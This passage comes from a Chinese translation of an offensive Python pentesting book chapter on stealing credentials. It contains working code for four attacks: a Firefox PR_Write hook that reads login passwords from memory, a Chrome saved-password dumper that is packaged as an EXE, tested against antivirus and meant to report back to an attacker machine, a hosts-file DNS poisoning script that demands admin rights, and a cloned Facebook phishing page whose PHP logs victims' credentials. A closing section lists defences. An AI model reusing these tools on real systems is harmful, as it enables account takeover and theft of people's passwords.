MyEventHandler
类中,我们指定了要拦截的 DLL 库及其函数名,并将解析其内存地址。我们来看看代码:...
class MyEventHandler( EventHandler ):
def load_dll( self, event ):
module = event.get_module() # Get the module object
if module.match_name("nss3.dll"): # If it's nss3.dll ,then
pid = event.get_pid() # Get the process ID
address = module.resolve( "PR_Write" ) # Get the address of PR_Write
print '[+] Found PR_Write at addr ' + str(address)
event.debug.hook_function( pid, address, preCB=PR_Write, postCB=None ,paramCount=3,signature=None)
...
你可以看到 DLL 名称 nss3.dll
和函数名 PR_Write
。我们已经解析了该函数的内存地址。然后我们设置了断点,并注册了 callback
函数。注意,我们需要向 callback
函数传递一些强制信息,比如进程 ID 和解析出来的函数内存地址。你可以看到 pid
和 address
。注意我们将 callback
函数命名为 PR_Write
。当断点发生时,应该将 3
个参数传递给 callback
函数。那么问题来了:这 3
个参数是什么?我如何知道它们的数量呢?这些问题的答案来自于 Mozilla Firefox 的开发者。
developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Write
链接,我们将获得更多关于 PR 函数参数的详细信息。PR_Write
是函数名,作用是将数据缓冲区写入文件或套接字。你还可以看到函数参数,如 *fd
、*buf
和 amount
。如果你还记得,在 Immunity Debugger 中,每当我们得到断点并进入 PR_ function
时,我们都会追踪内存内容。
这里,第二个参数 buf
将给我们一个指向提交数据的内存地址的指针;在我们的例子中,我们正在寻找的是用户名和密码。因此,我们所需要做的就是解析该指针的内存地址。现在,让我们在代码中体现这一点:
def PR_Write(event, ra, arg1, arg2, arg3):
您可以看到三个参数分别是 arg1
、arg2
和 arg3
;我们已经提到过 paramCount=3
。我们将它们传递给我们的 callback
函数。如前所述,我们主要关注第二个参数,它是内存指针。
print process.read(arg2,1024)
参数 2 包含参数 2,它是内存指针,我们将读取该地址的前 1 KB。
所以,此时我们已经完成了 Firefox 流程部分中提到的其余步骤,执行了 callback
函数并打印了内存转储。
调试何时会处理完成正常流程?在前一部分,我们使用 Immunity Debugger 进行了尝试,操作的是 Twitter 账户。现在让我们尝试使用 PayPal 账户:
访问 PayPal 登录页面并尝试获取登录信息。
运行脚本。一旦我登录,注意观察我们得到的输出。
如果我们输入错误的凭证,PayPal 会给我们发送一个错误信息。
中断脚本并将输出导出到文本文件中。为此,请前往 文件 | 另存为…,以文本格式保存文件。在文本文件中搜索用户名。如果仔细观察,您将看到我们得到了登录的电子邮件 ID 以及登录密码,而且这两个信息都是明文显示的。现在,让我们验证这些是否与 LastPass 中存储的凭证相同。
访问 Sites | Finance | paypal.com,然后右键点击并选择编辑。如果点击密码选项旁边的眼睛图标,您将能看到密码,这个密码与我们从 Firefox 进程中提取的密码相同。
在进入下一部分之前,请记住,拦截像 PR_Write
这样的函数会严重影响 Firefox 进程的性能,因为该函数将被频繁调用。每次拦截该函数时,会导致延迟,甚至可能导致整个进程崩溃。
在本节中,我们将增强之前的 PoC 脚本,以匹配以下内容:
一旦您在内存中获得 pass,打印出内存转储并停止调试,以减少性能问题。
将您的脚本导出为独立的 EXE 文件,以便在后期利用阶段使用(使用 Py2exe
)。
针对杀毒软件进行测试。
通过在登录 Twitter、Gmail、PayPal 和 Facebook 账户时进行测试,确保其功能正常。
在回调函数中,添加一个新的 if
语句,以便在获得 pass 关键字后终止调试。在将此脚本发送给目标之前,最好先在本地测试。为此,您可能需要更改 py2exe
设置文件中的控制台模式。
为了测试脚本,我们将登录 Facebook 账户:
进入 Facebook 的登录页面。你会看到,LastPass 已经为我们填入了用户名和密码。
运行我们的脚本。你将得到 Firefox 进程 ID 和该功能的内存地址。
一旦我们点击登录按钮,注意我们从内存中提取的凭证。你会看到电子邮件地址和密码。
现在,让我们检查一下这个密码是否确实是 LastPass 中存储的正确密码。为此,首先从 Facebook 注销,然后进入 Sites | Social;现在,右键点击 Facebook.com 并选择编辑。
当你点击编辑时,如果你想查看密码值,你会看到我们脚本提取的相同内容。
现在,让我们看看相同的工具和技术是否可以在其他网站上使用。为此,我们将关闭 Facebook 页面,前往 www.paypal.com/in/signin
进行登录。
让我们运行工具并进入 PayPal 账户。你会看到我们获得了用于登录的用户名和密码。
现在,让我们验证这是否是 LastPass 中存储的相同密码和用户名。你只需按照之前的步骤操作即可。
我们将尝试用 Twitter 做相同的事情,进入 Twitter 的登录页面。
像往常一样运行工具,点击登录按钮后,我们可以看到电子邮件地址和密码。
正如我们之前看到的,这些值是十六进制格式的,需要转换为 ASCII 格式。
提醒一下,我们之前看到的键盘记录器或剪贴板劫持技术,在类似的场景下是无法使用的,因为我们没有输入或粘贴任何数据。
在这一部分,我们将讨论另一种密码破解技术。这种技术最初是为了解决忘记密码时找回密码的问题。我们将利用这个技术,远程破解保存的密码。为了让这种攻击成功,目标必须使用 Google Chrome,并且他们应该已经保存了登录密码。让我们来看看这是如何工作的。登录 Facebook 账户后,你会注意到屏幕右上角出现一个提示,询问你是否保存密码,旁边有一个“保存密码”按钮。如果我们的目标点击了保存密码,那么我们将能够远程获取该密码。
我们现在来看一下如何操作。首先从 Facebook 注销。
让我们先来了解 Google Chrome 是如何存储和恢复保存的密码的:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00041.jpeg
所以,第一个事实是,我们应该知道 Google Chrome 使用 Windows 登录密码作为密钥来执行加密和解密过程。第二个我们需要知道的事情是,已加密的密码存储在一个名为 Login Data DB 的 SQLite 数据库中,并且该数据库位于路径 C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default
。
Google Chrome 调用一个特定的 Windows API 函数CryptProtectData
,它使用 Windows 登录密码作为加密密钥。在反向操作中,调用 Windows API CryptUnProtectData
来解密密码值并还原为明文。现在让我们总结一下 Chrome 如何保存密码的过程。
假设我们的目标第一次登录 Facebook 时,Google Chrome 会提示他们保存密码。如果他们点击保存密码,那么 Google Chrome 会将这个明文密码传递给CryptProtectData
API,这个 API 会使用 Windows 登录密码加密该密码并将其保存在登录数据数据库中。之后,当目标再次访问 Facebook 页面时,Google Chrome 会检索到加密的密码并将其传递给CryptUnProtectData
API 函数。之后,我们就会得到明文密码。然后,Google Chrome 会代表你提交密码。
从技术上讲,如果我们编写一个 Python 脚本来从 Chrome 数据库中抓取加密的密码,并将该值传递给CryptUnprotectData
API 函数,那么我们应该能够看到保存的密码以明文格式显示;这正是我们在这里要做的。
在进入代码部分之前,我们先看看 SQL 数据库。这里我们将使用一个免费的开源 SQLite 数据库浏览器:
导航到 Google Chrome 创建的 SQLite 数据库。在我的例子中,路径是C:\Users\Hussam\AppData\Local\Google\Chrome\User Data\Default
,Chrome 在这里创建了它的数据库,我们将把Login Data
文件复制到桌面。
我们需要将扩展名改为 SQLite,这样才能在数据库浏览器中导入。
所以现在我们要做的就是点击“打开数据库”,然后前往桌面,打开Login Data.sqlite3
。
导入后,你会看到有一个叫做logins
的表。
一旦我们点击“浏览数据”,我们就可以看到一些有趣的列:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00042.jpeg
action_url
是用户在提交登录凭证时导航到的 URL,在我们的例子中,它是 Facebook 的 URL。username_value
和password_value
分别是已提交的用户名和密码的值。
USERNAME
目录是一个变量,在不同的电脑上会有所不同。我们需要从数据库中抓取action_url
、username_value
和password_value
列的值。
password_value
传递给CryptUnProtectData
函数或 API 函数,解密为明文。那么,让我们开始编写代码部分:
# Python For Offensive PenTest
# Installing win32crypt
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Dumping Google Chrome Passwords
from os import getenv # To find out the Chrome SQL path which is >> C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
import sqlite3 # To read the Chrome SQLite DB
import win32crypt # High level library to call windows API CryptUnprotectData
from shutil import copyfile # To make a copy of the Chrome SQLite DB
# LOCALAPPDATA is a Windows Environment Variable which points to >>> C:\Users\{username}\AppData\Local
path = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data"
# IF the target was logging into a site which has an entry into the DB, then sometimes reading the Chrome DB will return an error that the DB is locked
# OperationalError: database is locked
# The Workaround for this, is to make a copy the Login Data DB and pull data out of the copied DB
path2 = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login2"
copyfile(path, path2)
...
我们将从导入必要的库开始:
我们将导入getenv
,来解析 Windows 环境变量并找到 Google Chrome 的 SQL 路径。
接下来,我们导入 SQLite3 来读取 Chrome 的 SQLite 数据库并获取其原始值。
我们导入了 win32crypt
,它提供了一个高级库来调用 Windows API CryptUnProtectData
。请记住,要使用这个库,我们首先需要从 sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
安装 pywin32
库。
LOCALAPPDATA
是一个 Windows 环境变量,指向 C:\Users
,然后是 username
,接着是 AppData\Local
路径——这就是我们完整路径的一半。所以,一旦我们得到了这一部分,接下来只需将路径的第二部分附加上,方法是添加 \Google\Chrome\User Data\Default\Login Data
,以获得 Login Data
数据库的绝对路径。
如果目标用户正在登录某个网站,并且该网站在数据库中有条目,那么有时读取 Chrome 数据库时会返回一个错误,提示数据库被锁定;当你运行 Python 脚本时,会遇到一个名为 database is locked
的异常。在我们的例子中,如果目标用户在我们要读取 Chrome 数据库时已经登录 Facebook,那么我们希望能够读取。解决方法是复制登录数据库并从复制的数据库中提取数据。因此,这里复制的数据库被命名为 Login2
,并且与原始数据库位于同一目录下。此时,我们已经完成了定位数据库的第一步。
由于原始数据库可能被锁定,我们将从复制的数据库中读取数据。我们通过使用 sqlite3.connect
函数,指向复制的数据库路径来完成这项操作:
...
# Connect to the copied Database
conn = sqlite3.connect(path2)
cursor = conn.cursor() # Create a Cursor object and call its execute() method to perform SQL commands like SELECT
# SELECT column_name,column_name FROM table_name
# SELECT action_url and username_value and password_value FROM table logins
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
...
接着,我们创建一个游标对象,以便执行 SQL 查询来提取所需的列。如果你还记得,表名是 login
,它有三列重要数据,分别是 username
和 password_value
,以及 action_url
。
然后,我们将选择这些列,并使用带有 fetchall
函数的 for
循环来提取它们的值:
...
# To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows.
for raw in cursor.fetchall():
print raw[0] + '\n' + raw[1] # print the action_url (raw[0]) and print the username_value (raw[1])
...
结果将存储在一个原始变量中,然后我们将打印出列表中的前两个值,即 action_url
和 username_value
。这样做之后,我们就完成了计划的第二步,从 Chrome 数据库中提取数据。
最后一步是调用 CryptUnProtectData
API 函数,并传入加密的密码,这个密码存储在我们原始列表的第三个元素中。最终,我们将打印出结果:
...
password = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it
print password # print the password in clear text
conn.close()
现在,运行模块时你会看到我们得到三个项:URL、用户名和明文密码。
尝试再次确认这些是否是登录我 Facebook 账户的正确凭据。也可以尝试其他网站,比如 Twitter、PayPal 等。
在本节中,我们将修改之前的脚本,以自动提交恢复或被攻击的密码通过 HTTP 会话。然后,我们将把它发送回黑客机器,最终结果应该是一个独立的文件,可以在后期利用或作为一个与新 Python Shell 集成的功能。
我们将在 Kali 机器上启动 HTTP 服务器,以接收目标网站的被黑密码。我们只需双击 Chrome Dumper EXE 文件。你会看到,我们成功地从 Chrome 数据库中远程获取了保存的密码。在这里,我们抓取了 Facebook 的邮箱和密码,还有 Twitter 账户。现在,如果我们切换到目标机器上,我们会看到以下是当前在目标站点上打开的两个会话:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00043.jpeg
我们将使用知名网站 VirusTotal,并上传我们的 Google Dumper 文件。
为此,导航到我们的 Chrome Dumper
文件,并上传和扫描文件。上传 Chrome Dumper
文件并扫描其内容。
你会看到有多少防病毒软件会触发警告。现在,我想说,如果触发警告的防病毒软件不多,我们就得到了一个不错的结果。如果有人能够使用 PyInstaller
尝试编译脚本并进行测试,他们可能会得到不同的结果。
操控流量方向的一种最简单的方法是操作 DNS 记录。每个操作系统都包含一个主机文件,用于将主机名静态映射到特定的 IP 地址。主机文件是一个纯文本文件,只要我们拥有管理员权限,就可以轻松地重新写入它。现在,让我们快速浏览一下 Windows 操作系统中的主机文件。
在 Windows 中,该文件位于 C:\Windows\System32\drivers\etc
下。让我们看看 host
文件的内容:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00044.jpeg
如果你阅读描述,你会看到每个条目应该位于单独的一行上。此外,记录格式中有一个示例,其中 IP 地址应该放在前面。然后,至少有一个空格,后面跟着主机名。你还会看到每个记录中,IP 地址是首先出现的,接着是主机名。
现在,让我们看看数据包级别的流量:
打开目标机器上的 Wireshark 并开始抓包。
按攻击者的 IP 地址进行过滤:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00045.jpeg
我们有一个 10.10.10.100
的 IP 地址,这是我们的攻击者的 IP 地址。我们可以看到在劫持 DNS 记录之前的流量。你需要点击应用来完成该过程。
www.google.jo/?gws_rd=ssl
。注意,一旦我们从命令行 ping 该名称,操作系统会在后台进行 DNS 查找:https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00046.jpeg
我们将获取真实的 IP 地址。现在,注意在 DNS 投毒后会发生什么。为此,关闭所有窗口,除了运行 Wireshark 应用程序的那个窗口。
记住,我们应该以管理员身份运行,以便能够修改 hosts 文件。
现在,即使我们以管理员身份运行,在运行应用程序时,仍然需要明确右键点击并选择“以管理员身份运行”。
导航到hosts
文件所在的目录。
执行dir
,你会看到hosts
文件。
运行type hosts
。你可以看到这里是原始的 host。
现在,我们将输入以下命令:
echo 10.10.10.100 www.google.jo >> hosts
10.10.100
是我们 Kali 机器的 IP 地址。所以,一旦目标访问google.jo
,它应该会被重定向到攻击者机器。
再次通过执行type hosts
验证主机。
现在,修改 DNS 后,刷新 DNS 缓存总是一个好主意,这样可以确保我们使用的是更新的记录。为此,请输入以下命令:
ipconfig /flushdns
现在,看看 DNS 投毒后会发生什么。为此,我们将打开浏览器并访问www.google.jo/?gws_rd=ssl
。请注意,在 Wireshark 中,流量正通过 Kali 的 IP 地址,而不是google.jo
的真实 IP 地址。这是因为google.jo
的 DNS 解析结果是10.10.10.100
。
我们将停止捕获并恢复原始的hosts
文件。然后,我们将把这个文件放到drivers\etc
文件夹中。
现在,让我们先通过运行以下命令来刷新被污染的 DNS 缓存:
ipconfig /flushdns
www.google.jo/?gws_rd=ssl
。现在我们可以开始了!现在,我们将自动化这些步骤,但这次通过 Python 脚本来完成。
打开脚本并输入以下代码:
# Python For Offensive PenTest
# DNS_Poisoning
import subprocess
import os
os.chdir("C:\Windows\System32\drivers\etc") # change the script directory to ..\etc where the host file is located on windows
command = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect
# traffic going to google.jo to IP of 10.10.10.100
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS record
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
我们要做的第一件事是将当前工作目录更改为与hosts
文件相同的位置,这将通过OS
库来完成。然后,使用子进程,我们将附加一个静态 DNS 记录,将 Facebook 指向10.10.10.100
:Kali 的 IP 地址。在最后一步,我们将刷新 DNS 记录。现在我们可以保存文件并将脚本导出为 EXE。
记住,我们需要让目标以管理员身份执行它。为此,在py2exe
的设置文件中,我们将添加一行,如下所示:
...
windows = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}],
...
所以,我们添加了一个新选项,指定当目标执行 EXE 文件时,我们将要求提升我们的权限为管理员。为此,我们将需要管理员权限。
让我们运行设置文件并开始新的捕获。现在,我将我们的 EXE 文件复制到桌面。注意这里,我们看到一个小盾牌,表示这个文件需要管理员权限,这将为我们提供运行管理员权限的确切结果。现在,让我们运行该文件。验证文件的 host 是否已被修改。你将看到我们的行已被添加。
现在,打开一个新的会话,我们将看看是否获得了重定向。我们开始一个新的捕获,并将其添加到 Firefox 中。正如你所看到的,google.jo
的 DNS 查找指向了我们的 IP 地址,即10.10.10.100
。
在接下来的部分,我们将看到如何利用这一点进行密码钓鱼。
在前一部分中,我们看到只需要几行 Python 代码,就可以将流量重定向到攻击者的机器,而不是访问www.google.jo/?gws_rd=ssl
。这一次,我们将看到攻击者如何利用修改 Facebook 的 DNS 记录,重定向流量到钓鱼页面,并抓取账户密码。
首先,我们需要设置一个钓鱼页面。
你不需要成为网页编程的专家。你可以轻松地通过 Google 搜索准备钓鱼账户的步骤。
要创建一个钓鱼页面,首先打开你的浏览器并导航到 Facebook 登录页面。然后,在浏览器菜单中点击文件,再点击“另存为…”。然后,确保从下拉菜单中选择完整页面。
输出应该是一个.html
文件。
现在让我们在这里提取一些数据。打开书中提供的代码文件中的Phishing
文件夹。将 Facebook 的 HTML 页面重命名为index.html
。
在这个 HTML 中,我们必须更改登录表单。如果你搜索action=
,你会看到它。在这里,我们将登录表单更改为将请求重定向到一个名为login.php
的自定义 PHP 页面。此外,我们还必须将请求方法更改为GET
,而不是POST
。
你会看到我在同一个Phishing
目录下添加了一个login.php
页面。如果你打开文件,你会看到以下脚本:
$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
一旦目标点击“登录”按钮,我们将把数据作为GET
请求发送到这个login.php
,并将提交的数据存储在我们的passwords.txt
文件中;然后,我们将关闭它。
接下来,我们将创建passwords.txt
文件,目标凭据将存储在其中。
现在,我们将把所有这些文件复制到\var\www
,并启动 Apache 服务。
如果我们在本地打开index.html
页面,我们将看到这是目标将看到的钓鱼页面。
让我们快速回顾一下当目标点击“登录”按钮时会发生什么?一旦目标点击“登录”按钮,目标的凭据将作为GET
请求发送到login.php
。记住,这会发生是因为我们修改了action
参数,将凭据发送到login.php
。之后,login.php
最终会将数据存储到passwords.txt
文件中。
现在,在我们启动 Apache 服务之前,让我确保我们获得了一个 IP 地址。
ifconfig eth0
你可以看到我们正在运行10.10.10.100
,并且我们也会使用以下命令启动 Apache 服务:
service apache2 start
80
端口,并且监听的服务是 Apache:netstat -antp | grep "80"
现在,让我们跳转到目标端看一眼。
在前面的部分,我们在脚本中使用了google.jo
。在这里,我们已经修改了之前的脚本,将 Facebook 流量重定向到我们的攻击者机器上。因此,我们的目标所需要做的就是双击 EXE 文件。现在,为了验证:
让我们启动 Wireshark,然后开始抓包。
我们将过滤攻击者 IP,即10.10.10.100
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00047.jpeg
www.facebook.com/
:https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00048.jpeg
一旦我们这样做,就会跳转到钓鱼页面。在这里,你会看到目标 IP 地址,也就是 Kali 的 IP 地址。所以,在目标端,当我们访问或点击www.facebook.com/
时,我们实际上是在查看index.html
,它设置在 Kali 机器上。一旦受害者点击登录页面,我们将以GET
请求的方式将数据发送到login.php
,并将其存储到当前为空的passwords.txt
中。
passwords.txt
文件是否有任何内容。你会看到它仍然是空的。这是因为默认情况下,我们没有写入数据的权限。现在,为了解决这个问题,我们将给予所有文件完全权限,即读、写和执行:chmod -R 777 /var/www/
请注意,我们之所以这样做,是因为我们正在虚拟机环境(VirtualBox)中运行。如果你有一个面向公众的 Web 服务器,给所有文件完全权限是一种不良实践,因为这可能导致权限提升攻击,攻击者可能上传恶意文件或篡改文件,然后浏览到文件位置执行自己的命令。
停止
和启动
Apache 服务器,以防万一:service apache2 stop
service apache2 start
passwords.txt
。你会看到来自目标端提交的数据,并且可以看到用户名和密码。最后,钓鱼活动的一个良好指示标志是缺少https
标志。
在接下来的部分,我们将讨论如何保护自己并保障你的账户免受这些攻击。此外,你需要确保在完成评估后关闭 Apache 服务器。
在本节中,我们将讨论四种方法,帮助你保护在线账户。请注意,这些方法并不是唯一可用的方式。然而,按照这些步骤操作应该能为你的账户提供一个合理的安全水平。
首先,从使用供应商提供的安全服务开始。我强烈建议在所有账户上启用第二步身份验证(有时也叫一次性密码),比如 Gmail、LinkedIn 和 PayPal,任何时候这个选项可用时都应该启用。启用后,每次登录时,它会要求你输入用户名和密码,第二步是输入一次性密码,通常会通过短信、应用程序,甚至是电子邮件发送给你。现在,这个一次性密码通常只能在 30 秒内使用。
以下是一些链接,它们指导你如何轻松且有效地启用此功能,适用于一些服务,如 Gmail、Twitter 等:
Gmail 提供短信和 Gmail 移动应用:
www.google.com/landing/2step/
play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
Twitter 提供移动应用和短信服务:
support.twitter.com/articles/20170388
在进入下一个步骤之前,我需要提到,即使启用了第二步身份验证,我们仍然容易受到会话劫持漏洞的攻击,攻击者可以在第二步身份验证后劫持会话或 cookies,然后将该会话重新注入到自己的系统中。你还需要注意每次登录时的安全性。每当有新设备登录你的账户时,你通常会通过电子邮件收到一条通知,告知你有陌生的登录行为。
它还会向你提供一些信息,比如操作系统或时间戳。前面的截图显示了 Windows 操作系统,说明你已在新的设备上登录了你的账户。同时,它还会提示你如果这是一次可疑活动应该采取的措施。
为了避免这种情况,你需要确保密码足够复杂,并避免使用简单或弱的密码。
现在我们来看如何保护你的设备安全。对于计算机,以下是你需要考虑的步骤:
始终使用非管理员账户
保持浏览器和系统更新
考虑我们在上一节中讨论的应对措施
现在,让我们来看如何保护你的网络,以保护你的数据传输安全。如果你不得不使用不受信任的网络,如咖啡馆的 Wi-Fi,来访问你的敏感数据(如银行账户或 PayPal 账户),那么你应该使用一个可信赖的 VPN 来建立一个安全的隧道,防止局域网攻击。毫无疑问,VPN 会提供身份验证和加密等功能,这将帮助防御局域网攻击,如中间人攻击。
现在,让我们来看如何在登录页面上注意任何异常情况,例如 URL 栏中缺少 https 就是一个很好的钓鱼活动指示,攻击者可能会将你的流量重定向到恶意登录页面;或者如果攻击者在中间(如中间人攻击),他可以使用像 SSL strip 这样的工具去除 SSL 加密,将你的数据转为明文。
如果你是一个对安全非常敏感的人,即使看到绿色的https
标签,你也可以再次检查从网站获得的证书状态。例如,这是 Facebook 服务器证书的截图:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00049.jpeg
我们可以看到证书是颁发给所有 Facebook 域的,并且颁发机构是 DigiCert。
此外,证书路径将显示该证书的健康状态;并且如果存在任何子 CA(证书颁发机构)或中间证书,这些也会显示出来。
接下来,我们应该特别小心那些在浏览器显示证书错误后才显示登录页面的网站,因为攻击者可能会设置代理服务器并提供伪造的证书,在中间人攻击(Man-in-the-middle Attack)过程中拦截流量。不同浏览器可能会以不同的方式显示该证书错误的通知。
对于诈骗邮件,请记住,没有人会通过电子邮件询问你的密码,或者通过电子邮件向你发送登录链接。
在本章中,我们了解了如何配置键盘记录器,并处理了密码管理器来安全存储设备凭证。我们还学习了一种新方法——浏览器中的中间人攻击(Man in the Browser)。此外,我们还看到了如何使用 Immunity Debugger 进行 Firefox API 钩取,并进行了密码钓鱼过程演示。
最后,我们讨论了如何保护自己并确保账户安全的对策。
在下一章,我们将设置自己的黑客环境,使用 VirtualBox。